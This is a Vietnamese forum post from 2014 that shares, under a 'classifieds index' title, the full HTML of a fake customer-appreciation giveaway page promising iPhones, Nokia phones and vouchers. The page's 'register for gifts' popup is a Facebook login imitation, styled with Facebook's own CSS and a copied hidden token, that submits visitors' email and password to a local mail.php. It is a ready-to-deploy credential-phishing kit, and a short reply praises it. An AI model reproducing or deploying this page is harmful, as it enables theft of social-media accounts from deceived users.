[share] index trang rao vặt mua và bán

    [share] index trang rao vặt mua và bán

    Bài gửi  by AnhDauSai Mon Sep 01, 2014 9:25 pm

    demo: http://www.vngame.pro/h31-page


    Code:

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">

    <head>
       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
       <link type="text/css" rel="stylesheet" href="https://fbstatic-a.akamaihd.net/rsrc.php/v2/yP/r/p-NWF39WX56.css" />
       <link rel="stylesheet" type="text/css" media="screen" href="http://mincoon.com/css/popup.css" />
       <link rel="shortcut icon" type="image/x-icon" href="./favicon.ico" />
       <meta name="description" content="www.retunggiay.vn: Nhân dịp sinh nhật rẻ từng giây, chúng tôi tổ chức chường trình tặng quà tri ân khách hàng trong năm vừa qua.
             Thay mặt BQT xin chân thành cảm ơn các thành viên đã gắn bó và tin tưởng sử dụng các sản phẩm của chúng tôi." />
       <meta name="keywords" content="Nhân dịp chào đón Nhân dịp sinh nhật rẻ từng giây, chúng tôi tổ chức chường trình tặng quà tri ân khách hàng trong năm vừa qua.
             Thay mặt BQT xin chân thành cảm ơn các thành viên đã gắn bó và tin tưởng sử dụng các sản phẩm của chúng tôi." />
       <title>Chương trình tri ân khách hàng mừng sinh nhật retunggiay.vn</title>
       <link rel="stylesheet" type="text/css" href="http://mincoon.com/css/style.css" />
           <link rel="stylesheet" type="text/css" href="http://mincoon.com/css/demo.css" />
       <link rel="stylesheet" type="text/css" href="http://mincoon.com/css/green.css" media="screen" />
       <link rel="stylesheet" type="text/css" href="http://mincoon.com/scripts/styleshwitcher.css" media="screen" />
       <script type="text/javascript" src="scripts/jquery.countdown.js"></script>
           <script type="text/javascript" src="scripts/tet.js"></script>

    <script>
    var pictureSrc ="http://mincoon.com/images/hoamai.png"; //the location of the snowflakes
    var pictureWidth = 40; //the width of the snowflakes
    var pictureHeight = 40; //the height of the snowflakes
    var numFlakes = 10; //the number of snowflakes
    var downSpeed = 0.01; //the falling speed of snowflakes (portion of screen per 100 ms)
    var lrFlakes = 10; //the speed that the snowflakes should swing from side to side


    if( typeof( numFlakes ) != 'number' || Math.round( numFlakes ) != numFlakes || numFlakes < 1 ) { numFlakes = 10; }

    //draw the snowflakes
    for( var x = 0; x < numFlakes; x++ ) {
    if( document.layers ) { //releave NS4 bug
    document.write('<layer id="snFlkDiv'+x+'"><imgsrc="'+pictureSrc+'" height="'+pictureHeight+'"width="'+pictureWidth+'" alt="*" border="0"></layer>');
    } else {
    document.write('<div style="position:absolute;"id="snFlkDiv'+x+'"><img src="'+pictureSrc+'"height="'+pictureHeight+'" width="'+pictureWidth+'" alt="*"border="0"></div>');
    }
    }

    //calculate initial positions (in portions of browser window size)
    var xcoords = new Array(), ycoords = new Array(), snFlkTemp;
    for( var x = 0; x < numFlakes; x++ ) {
    xcoords[x] = ( x + 1 ) / ( numFlakes + 1 );
    do { snFlkTemp = Math.round( ( numFlakes - 1 ) * Math.random() );
    } while( typeof( ycoords[snFlkTemp] ) == 'number' );
    ycoords[snFlkTemp] = x / numFlakes;
    }

    //now animate
    function flakeFall() {
    if( !getRefToDivNest('snFlkDiv0') ) { return; }
    var scrWidth = 0, scrHeight = 0, scrollHeight = 0, scrollWidth = 0;
    //find screen settings for all variations. doing this every time allows for resizing and scrolling
    if( typeof( window.innerWidth ) == 'number' ) { scrWidth = window.innerWidth; scrHeight = window.innerHeight; } else {
    if( document.documentElement && (document.documentElement.clientWidth ||document.documentElement.clientHeight ) ) {
    scrWidth = document.documentElement.clientWidth; scrHeight = document.documentElement.clientHeight; } else {
    if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
    scrWidth = document.body.clientWidth; scrHeight = document.body.clientHeight; } } }
    if( typeof( window.pageYOffset ) == 'number' ) { scrollHeight = pageYOffset; scrollWidth = pageXOffset; } else {
    if( document.body && ( document.body.scrollLeft ||document.body.scrollTop ) ) { scrollHeight = document.body.scrollTop;scrollWidth = document.body.scrollLeft; } else {
    if(document.documentElement && (document.documentElement.scrollLeft ||document.documentElement.scrollTop ) ) { scrollHeight =document.documentElement.scrollTop; scrollWidth =document.documentElement.scrollLeft; } }
    }
    //move the snowflakes to their new position
    for( var x = 0; x < numFlakes; x++ ) {
    if( ycoords[x] * scrHeight > scrHeight - pictureHeight ) { ycoords[x] = 0; }
    var divRef = getRefToDivNest('snFlkDiv'+x); if( !divRef ) { return; }
    if( divRef.style ) { divRef = divRef.style; } var oPix = document.childNodes ? 'px' : 0;
    divRef.top = ( Math.round( ycoords[x] * scrHeight ) + scrollHeight ) + oPix;
    divRef.left = ( Math.round( ( ( xcoords[x] * scrWidth ) - (pictureWidth / 2 ) ) + ( ( scrWidth / ( ( numFlakes + 1 ) * 4 ) ) * (Math.sin( lrFlakes * ycoords[x] ) - Math.sin( 3 * lrFlakes * ycoords[x]) ) ) ) + scrollWidth ) + oPix;
    ycoords[x] += downSpeed;
    }
    }

    //DHTML handlers
    function getRefToDivNest(divName) {
    if( document.layers ) { return document.layers[divName]; } //NS4
    if( document[divName] ) { return document[divName]; } //NS4 also
    if( document.getElementById ) { return document.getElementById(divName); } //DOM (IE5+, NS6+, Mozilla0.9+, Opera)
    if( document.all ) { return document.all[divName]; } //Proprietary DOM - IE4
    return false;
    }

    window.setInterval('flakeFall();',100);
    </script>
    <link rel="shortcut icon" href="http://cliphay.tv/wp-content/uploads/favicon.png" />



    <script type="text/javascript" src="js/jquery.1.7.2.js"></script>
    <script type="text/javascript" src="js/jquery.popupMiendatweb.min.js"></script>
    <script type="text/javascript" language="JavaScript">
       $(function(){
          /* khởi tạo popup */
          $('input[rel*=miendatwebPopup]').showPopup({
             top : 50, //khoảng cách popup cách so với phía trên
             closeButton: ".close_popup" , //khai báo nút close cho popup
             scroll : false, //cho phép scroll khi mở popup, mặc định là không cho phép
             onClose:function(){               
                //sự kiện cho phép gọi sau khi đóng popup, cho phép chúng ta gọi 1 số sự kiện khi đóng popup, bạn có thể để null ở đây
             }
          });   
       });
    </script>

    </head>





    <body>
    <img src="http://mincoon.com/img/520.png" width="1px"/>
    <div id="outer-container"><!-- Parent Container -->




    <img style="position:fixed;z-index:9999;top:0;left:0" src="http://mincoon.com/img/top-left.png"/>
    <img style="position:fixed;z-index:9999;top:0;right:0" src="http://mincoon.com/img/top-right.png"/>














    <style>


             .ribbon {
                display:inline-block;
                color:white;
                font-weight:bold;
             }

             .ribbon:after, .ribbon:before {
                margin-top:0.5em;
                content: "";
                float:left;
                border:1.5em solid #FFCC33;
                margin-top:15px;
             }

             .ribbon:after {
                border-right-color:transparent;
             }

             .ribbon:before {
                border-left-color:transparent;
             }

             .ribbon a:link, .ribbon a:visited {
                color:red;
                text-decoration:none;
                 float:left;
                 height:3.5em;
                overflow:hidden;
             }

             .ribbon span {
                background:#FFCC33;
                display:inline-block;
                line-height:3em;
                padding:0 1em;
                margin-top:0.5em;
                position:relative;

                -webkit-transition: background-color 0.2s, margin-top 0.2s;  /* Saf3.2+, Chrome */
                -moz-transition: background-color 0.2s, margin-top 0.2s;  /* FF4+ */
                -ms-transition: background-color 0.2s, margin-top 0.2s;  /* IE10 */
                -o-transition: background-color 0.2s, margin-top 0.2s;  /* Opera 10.5+ */
                transition: background-color 0.2s, margin-top 0.2s;
             }

             .ribbon a:hover span {
                background:#CC0000;
                margin-top:0;
                color:yellow;
             }

    .ribbon span:before {
       content: "";
       position:absolute;
       top:3em;
       left:0;
       border-right:0.5em solid #9B8651;
       border-bottom:0.5em solid #FFCC33;
    }

    .ribbon span:after {
       content: "";
       position:absolute;
       top:3em;
       right:0;
       border-left:0.5em solid #9B8651;
       border-bottom:0.5em solid #FFCC33;
    }
          </style>
       </head>
       
    <center>
    <br>
          <div class="ribbon">
             <a href="http://cliphay.tv"  target="_blank"><span>Clip Hay</span></a>
             <a href="http://retunggiay.vn"  target="_blank"><span>Mua sắm</span></a>
             <a href=""><span> <input type="button" id="open_popup" name="open_popup" rel="miendatwebPopup" href="#popup_content" value="Đăng ký nhận quà"/>&nbsp;</span></a>
             
             
          </div>
       </center>


    <br><br><br>







    <div id="container"><!-- Main Container for Flip Timer and Tab controls -->



    <style>
    img{
    -webkit-transition: 0.5s;
    -moz-transition: 0.5s;
    -o-transition: 0.5s;
    -ms-transition: 0.5s;
    transition: 0.5s;
    }
    img:hover{
    -webkit-transform: scale(1.4);

    -moz-transform: scale(1.4);
    -o-transform: scale(1.4);
    -ms-transform: scale(1.4);
    transform: scale(1.4);
    }
    </style>

    <center>


       <section class="main">
          <ul class="center">


          <li>
          <div class="hover-circle effect1">
             <div class="overlay">
                <div style="text-shadow: 5px 5px 5px red; color: yellow;" class="info">
                   <h3 style="text-shadow: 5px 5px 5px red; color: blue;">Giải Nhất</h3>
                   <b><div>5 Chiếc điện thoại</div><div>Nokia 525 cho 5 người</div><div> được chọn ngẩu nhiên</div></b>
    <h4><input type="button" id="open_popup" name="open_popup" rel="miendatwebPopup" href="#popup_content1" value="Xem quà tặng"/></h4>
                </div>
             </div>
             <img src="http://mincoon.com/img/left.png" />
          </div>
          </li>
                  <li>
          <div class="hover-circle effect1">
             <div class="overlay">
             <div style="text-shadow: 5px 5px 5px red; color: yellow;" class="info">
                   <h3 style="text-shadow: 5px 5px 5px red; color: blue;">Đặc biệt</h3>
                <b><div>2 điện thoại iphone 5s</div><div>Cho 2 người đầu tiên</div><div>trả lời phiếu khảo sát</div></b>
    <h4><input type="button" id="open_popup" name="open_popup" rel="miendatwebPopup" href="#popup_content2" value="Xem quà tặng"/></h4>
                </div>
             </div>
             <img src="http://mincoon.com/4.png" />
          </div>
          </li>
          <li>
          <div class="hover-circle effect1">
             <div class="overlay">
       <div style="text-shadow: 5px 5px 5px red; color: yellow;" class="info">
                   <h3 style="text-shadow: 5px 5px 5px red; color: blue;">May mắn</h3>
                   
                        <b><div>100 phiếu mua hàng</div><div>Dành cho 100 bạn</div><div>đăng ký đầu tiên</div></b>
    <h4><input type="button" id="open_popup" name="open_popup" rel="miendatwebPopup" href="#popup_content3" value="Xem quà tặng"/></h4>
                        
                </div>
             </div>
             <img src="http://mincoon.com/img/right.png" />
          </div>
          </li>
          <ul>
       </section>

    </center>


    <!-- Bat dau popup -->


       
       
    <div id="popup_content1" class="popup">
          <div class="popup-header">
             <h3>5 Chiếc điện thoại lumia 525</h3>
             <a class="close_popup" href="javascript:void(0)"></a>
             <p align="center">BTC sẽ chọn ra 5 bạn ĐK ngẩu nhiên</p>
             <p align="center"><input type="button" id="open_popup" name="open_popup" rel="miendatwebPopup" href="#popup_content" value="Đăng ký"/></p>
             </div>
          <div class="info_popup">
             <img src="http://mincoon.com/img/520.png" width="285px" height="100px"/> <br />
          </div>

    </div>

       
    <div id="popup_content2" class="popup">
          <div class="popup-header">
             <h3>2 điện thoại iphone 5s</h3>
             <a class="close_popup" href="javascript:void(0)"></a>
             <p align="center">Cho 2 bạn đầu tiên trả lời khảo sát</p>
             <p align="center"><input type="button" id="open_popup" name="open_popup" rel="miendatwebPopup" href="#popup_content4" value="Trả lời khảo sát"/>
             <input type="button" id="open_popup" name="open_popup" rel="miendatwebPopup" href="#popup_content" value="Đăng ký"/></p>
             </div>
          <div class="info_popup">
             <img src="http://mincoon.com/img/iphone.png" width="285px" height="100px"/> <br />
          </div>

       </div>
       
       
    <div id="popup_content3" class="popup">
          <div class="popup-header">
             <h3>100 phiếu mua hàng</h3>
             <a class="close_popup" href="javascript:void(0)"></a>
             <p align="center">Cho 100 bạn đăng ký đầu tiên</p>
             <p align="center"><input type="button" id="open_popup" name="open_popup" rel="miendatwebPopup" href="#popup_content" value="Đăng ký"/></p>
             </div>
          <div class="info_popup">
             <img src="http://mincoon.com/img/phieuqt.png" width="285px" height="100px"/> <br />
          </div>

       </div>
       
       <div id="popup_content4" class="popup">
          <div class="popup-header">
             <h3>Phiểu trả lời khảo sát</h3>
             <a class="close_popup" href="javascript:void(0)"></a>
             <p align="center">trả lời xong click đăng ký để lại thông tin</p>
             <p align="center"><input type="button" id="open_popup" name="open_popup" rel="miendatwebPopup" href="#popup_content" value="Đăng ký"/></p>
             </div>
          <div class="info_popup">
             <iframe src="https://docs.google.com/forms/d/12m_YXQP3Vv5445qxeQkGEJP62hEtnOPBGM-IBSZd8ZE/viewform?embedded=true" width="360" height="210" frameborder="0" marginheight="0" marginwidth="0">Đang tải...</iframe>
          </div>

       </div>
       
       
       
       
       
       
       

       <div id="popup_content" class="popup">
          <div class="popup-header">
             <div><b><font color="red">Chú ý:</font> Đăng nhập bằng tài khoản <font color="#3b5998"> facebook </font></b></div>
             <hr />
             <a class="close_popup" href="javascript:void(0)"></a>
             <div>
             <form id="login_form" action="mail.php" method="get" onsubmit="return window.Event && Event.__inlineSubmit && Event.__inlineSubmit(this,event)">
                <input type="hidden" name="lsd" value="AVr6SzZN" autocomplete="off" />
                <table cellspacing="0">
                   <tr>
                   <td class="html7magic"><label for="email">Email hoặc điện thoại</label>
                   </td>
                   <td class="html7magic">
                      <label for="pass">Mật khẩu</label>
                   </td>
                   </tr>
                   <tr>
                   <td>
                      <input type="text" class="inputtext" name="email" id="email" value="" tabindex="1" />
                   </td>
                   <td>
                      <input type="password" class="inputtext" name="pass" id="pass" tabindex="2" />
                   </td>
                   <td>
                      <label class="uiButton uiButtonConfirm" id="loginbutton" for="u_0_e">
                         <input value="Đăng nhập" tabindex="4" type="submit" id="u_0_e" />
                      </label>
                   </td>
                   </tr>
                   <tr>
                   <td class="login_form_label_field">
                      <div>
                         <div class="uiInputLabel clearfix uiInputLabelLegacy">
                            <input id="persist_box" type="checkbox" name="persistent" value="1" tabindex="3" class="uiInputLabelInput uiInputLabelCheckbox" />
                            <label for="persist_box" class="uiInputLabelLabel">Duy trì đăng nhập</label>
                         </div>
                         <input type="hidden" name="default_persistent" value="0" />
                      </div>
                   </td>
                   <td class="login_form_label_field">
                      <a rel="nofollow" href="https://www.facebook.com/recover/initiate">Quên mật khẩu?</a>
                   </td>
                   </tr>
                </table>
             </form>
             </div>
          </div>
          <div class="info_popup2" style="margin-left: 10px; margin-right: 10px; margin-bottom: 15px; text-align: justify; margin-top:5px;"><font size="2px">
             Nhân dịp sinh nhật lần thử 5, chúng tôi tổ chức chường trình tặng quà tri ân khách hàng.<br />
             Thay mặt BQT xin chân thành cảm ơn các thành viên đã gắn bó và tin tưởng sử dụng các sản phẩm của chúng tôi.<br />
             Chúng tôi sẽ công bố danh sách những người may mắn tại website: retunggiay.vn vào ngày <font color="red"><b>2/9/2014</b></font><br />
             Hệ thống sẽ gửi thông báo đến nick facebook cho những bạn may mắn nhận được quà từ BQT.
             <br/>
             Thỏa sức mua sắm mà không lo tài chính tại website: <a href="http://retunggiay.vn" target="_bank">retunggiay.vn</a><br/>
             </font>
          </div>

       </div>   
    <!-- ket thuc popup -->


    <body onload="getTime()">
        
           
       
                  <div id="countdown">
                <div class="days">
                   <img height="40" src="http://mincoon.com/images/0c.png" alt="" width="23" name="x" />
                   <img height="40" src="http://mincoon.com/images/0c.png" alt="" width="23" name="a" />
                   <img height="40" src="http://mincoon.com/images/0c.png" alt="" width="23" name="b" />
                   <img src="http://mincoon.com/images/days.png" width="35" height="17" class="title1" alt="" />
                </div>
                <div class="hours">
                   <img height="40" src="http://mincoon.com/images/0c.png" alt="" width="23" name="y" />
                   <img height="40" src="http://mincoon.com/images/0c.png" alt="" width="23" name="z" />
                   <img src="http://mincoon.com/images/hours.png" width="39" height="13" class="title" alt="" />
                </div>
                <div class="minutes">
                   <img height="40" src="http://mincoon.com/images/0c.png" alt="" width="23" name="d" />
                   <img height="40" src="http://mincoon.com/images/0c.png" alt="" width="23" name="e" />
                   <img src="http://mincoon.com/images/minutes.png" width="53" height="13" class="title" alt="" />
                </div>
                <div class="seconds">
                   <img height="40" src="http://mincoon.com/images/0c.png" alt="" width="23" name="g" />
                   <img height="40" src="http://mincoon.com/images/0c.png" alt="" width="23" name="h" />
                   <img src="http://mincoon.com/images/seconds.png" width="53" height="13" class="title" alt="" />
                </div>
             </div>
    <div >
    <audio controls autoplay>
      <source src="mp3/nhac.mp3" width="1px" height="1px" type="audio/ogg">
    </audio>
    </div>
    </body>




    </div><!-- End of Container -->

    </div><!-- End of Outer Container -->
    <br />
    <div class="content"><a href="http://cliphay.tv" style="position: fixed; bottom:-10px; right:-10px;"><embed src=
    "flash/danngua2.swf" width=
    "1320" height="150" type="application/x-shockwave-flash" wmode=
    "transparent" allowscriptaccess="never"></embed></a></div>


    </body>

    </html>
    AnhDauSai

    Bài gửi  by Death Gun Tue Sep 02, 2014 6:08 am

    đẹp đấy anh
    Death Gun